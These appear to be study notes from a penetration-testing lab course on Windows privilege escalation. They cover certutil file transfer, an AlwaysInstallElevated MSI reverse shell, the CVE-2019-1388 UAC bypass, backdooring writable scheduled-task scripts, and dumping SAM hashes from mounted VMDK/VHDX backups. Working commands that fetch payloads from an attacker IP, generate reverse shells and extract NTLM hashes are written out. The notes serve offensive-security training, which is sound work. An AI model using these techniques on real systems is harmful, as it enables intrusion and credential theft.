Miscellaneous Techniques
Living Off The Land Binaries and Scripts (LOLBAS): try to use Microsoft-signed file with unusually method which this help to undetectable
Some interesting functionality may include:
Code execution
Code compilation
File transfers
Persistence
UAC bypass
Credential theft
Dumping process memory
Keylogging
Evasion
DLL hijacking
Certutil
certutil.exe, whose intended use is for handling certificates but can also be used to transfer files from attacker to victim machine by either downloading a file to disk or base64 encoding/decoding a file.
Transferring
PS C:\htb> certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.batEncoding File
We can use the -encode flag to encode a file using base64 on our Windows attack host and copy the contents to a new file on the remote system. when we can’t move this file
C:\htb> certutil -encode file1 encodedfile
Input Length = 7
Output Length = 70
CertUtil: -encode command completed successfullyDecoding File
Once the new file has been created, we can use the -decode flag to decode the file back to its original contents.
C:\htb> certutil -decode encodedfile file2
Input Length = 70
Output Length = 7
CertUtil: -decode command completed successfully.Always Install Elevated
Always install with system privilege
Enumerating Always Install Elevated Settings
to discover if this options is enable or not
PS C:\htb> reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
PS C:\htb> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\InstallerOur enumeration shows us that the AlwaysInstallElevated key exists, so the policy is indeed enabled on the target system.
Generating MSI Package
We can exploit this by generating a malicious MSI package and execute it via the command line to obtain a reverse shell with SYSTEM privileges.
irix@htb[/htb]$ msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of msi file: 159744 bytesExecuting MSI Package
We can upload this MSI file to our target, start a Netcat listener and execute the file from the command line like so:
C:\htb> msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart
CVE-2019-1388
The issue was in the UAC mechanism, which allow user to take a system privilege
in certificate Dialog in windows if file signed with certificate has link in filed Issued By this link will appear as a hyperlink and when click it turn browser with system privilege
Exploit
First right click on the hhupd.exe executable and select Run as administrator from the menu.
Next, click on Show information about the publisher's certificate to open the certificate dialog. Here we can see that the SpcSpAgencyInfo field is populated in the Details tab.
Next, we go back to the General tab and see that the Issued by field is populated with a hyperlink. Click on it and then click OK, and the certificate dialog will close, and a browser window will launch.
If we open Task Manager, we will see that the browser instance was launched as SYSTEM.
Next, we can right-click anywhere on the web page and choose View page source. Once the page source opens in another tab, right-click again and select Save as, and a Save As dialog box will open.
At this point, we can launch any program we would like as SYSTEM. Type c:\windows\system32\cmd.exe in the file path and hit enter. If all goes to plan, we will have a cmd.exe instance running as SYSTEM.
Microsoft released a patch for this issue in November of 2019. Still, as many organizations fall behind on patching, we should always check for this vulnerability if we gain GUI access to a potentially vulnerable system as a low-privilege user.
Scheduled Tasks
Enumerating Scheduled Tasks
We can use the schtasks command to enumerate scheduled tasks on the system
C:\htb> schtasks /query /fo LIST /v
Folder: \
INFO: There are no scheduled tasks presently available at your access level.
Folder: \Microsoft
INFO: There are no scheduled tasks presently available at your access level.
Folder: \Microsoft\Windows
INFO: There are no scheduled tasks presently available at your access level.
Folder: \Microsoft\Windows\.NET Framework
HostName: WINLPE-SRV01
TaskName: \Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 5/27/2021 12:23:27 PM
Last Result: 0
Author: N/A
Task To Run: COM handler
Start In: N/AEnumerating Scheduled Tasks with PowerShell
We can also enumerate scheduled tasks using the Get-ScheduledTask PowerShell cmdlet.
PS C:\htb> Get-ScheduledTask | select TaskName,State
TaskName State
-------- -----
.NET Framework NGEN v4.0.30319 Ready
.NET Framework NGEN v4.0.30319 64 Ready
.NET Framework NGEN v4.0.30319 64 Critical Disabled
.NET Framework NGEN v4.0.30319 Critical Disabled
AD RMS Rights Policy Template Management (Automated) Disabled
AD RMS Rights Policy Template Management (Manual) Ready
PolicyConverter Disabled
SmartScreenSpecific Ready
VerifiedPublisherCertStoreCheck Disabledwe can only see tasks created by our user and default scheduled tasks that every Windows operating system has. Unfortunately, we cannot list out scheduled tasks created by other users (such as admins) because they are stored in C:\Windows\System32\Tasks
Checking Permissions on C:\Scripts Directory
we notice a writeable C:\Scripts directory that we overlooked in our initial enumeration.
C:\htb> .\accesschk64.exe /accepteula -s -d C:\Scripts\
Accesschk v6.13 - Reports effective permissions for securable objects
Copyright ⌐ 2006-2020 Mark Russinovich
Sysinternals - www.sysinternals.com
C:\Scripts
**RW BUILTIN\Users**
RW NT AUTHORITY\SYSTEM
RW BUILTIN\AdministratorsWe notice various scripts in this directory, such as db-backup.ps1, mailbox-backup.ps1, etc., which are also all writeable by the BUILTIN\USERS group. At this point, we can append a snippet of code to one of these files with the assumption that at least one of these runs on a daily, if not more frequent, basis. We write a command to send a beacon back to our C2 infrastructure and carry on with testing. The next morning when we log on, we notice a single beacon as NT AUTHORITY\SYSTEM on the DB01 host.
User/Computer Description Field
Though more common in Active Directory, it is possible for a sysadmin to store account details (such as a password) in a computer or user's account description field. We can enumerate this quickly for local users using the Get-LocalUser cmdlet.
PS C:\htb> Get-LocalUser
Name Enabled Description
---- ------- -----------
Administrator True Built-in account for administering the computer/domain
DefaultAccount False A user account managed by the system.
Guest False Built-in account for guest access to the computer/domain
helpdesk True
htb-student True
htb-student_adm True
jordan True
logger True
sarah True
sccm_svc True
secsvc True Network scanner - do not change password
sql_dev TrueMount VHDX/VMDK
https://github.com/SnaffCon/Snaffler
can help us to find credential, sensitive files and more
Three specific file types of interest are .vhd, .vhdx, and .vmdk files. These are Virtual Hard Disk, Virtual Hard Disk v2 (both used by Hyper-V), and Virtual Machine Disk (used by VMware). Let's assume that we land on a web server and have had no luck escalating privileges, so we resort to hunting through network shares. We come across a backups share hosting a variety of .VMDK and .VHDX files whose filenames match hostnames in the network. One of these files matches a host that we were unsuccessful in escalating privileges on, but it is key to our assessment because there is an Active Domain admin session. If we can escalate to SYSTEM, we can likely steal the user's NTLM password hash or Kerberos TGT ticket and take over the domain.
If we encounter any of these three files, we have options to mount them on either our local Linux or Windows attack boxes. If we can mount a share from our Linux attack box or copy over one of these files, we can mount them and explore the various operating system files and folders as if we were logged into them using the following commands.
Mount on Linux
VMDK
irix@htb[/htb]$ guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmdk
VHD/VHDX
irix@htb[/htb]$ guestmount --add WEBSRV10.vhdx --ro /mnt/vhdx/ -m /dev/sda1
In Windows, we can right-click on the file and choose Mount, or use the Disk Management utility to mount a .vhd or .vhdx file. If preferred, we can use the Mount-VHD PowerShell cmdlet. Regardless of the method, once we do this, the virtual hard disk will appear as a lettered drive that we can then browse.
Retrieving Hashes using Secretsdump.py
Why do we care about a virtual hard drive (especially Windows)? If we can locate a backup of a live machine, we can access the C:\Windows\System32\Config directory and pull down the SAM, SECURITY and SYSTEM registry hives. We can then use a tool such as secretsdump to extract the password hashes for local users.
irix@htb[/htb]$ secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL
Impacket v0.9.23.dev1+20201209.133255.ac307704 - Copyright 2020 SecureAuth Corporation
[*] Target system bootKey: 0x35fb33959c691334c2e4297207eeeeba
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
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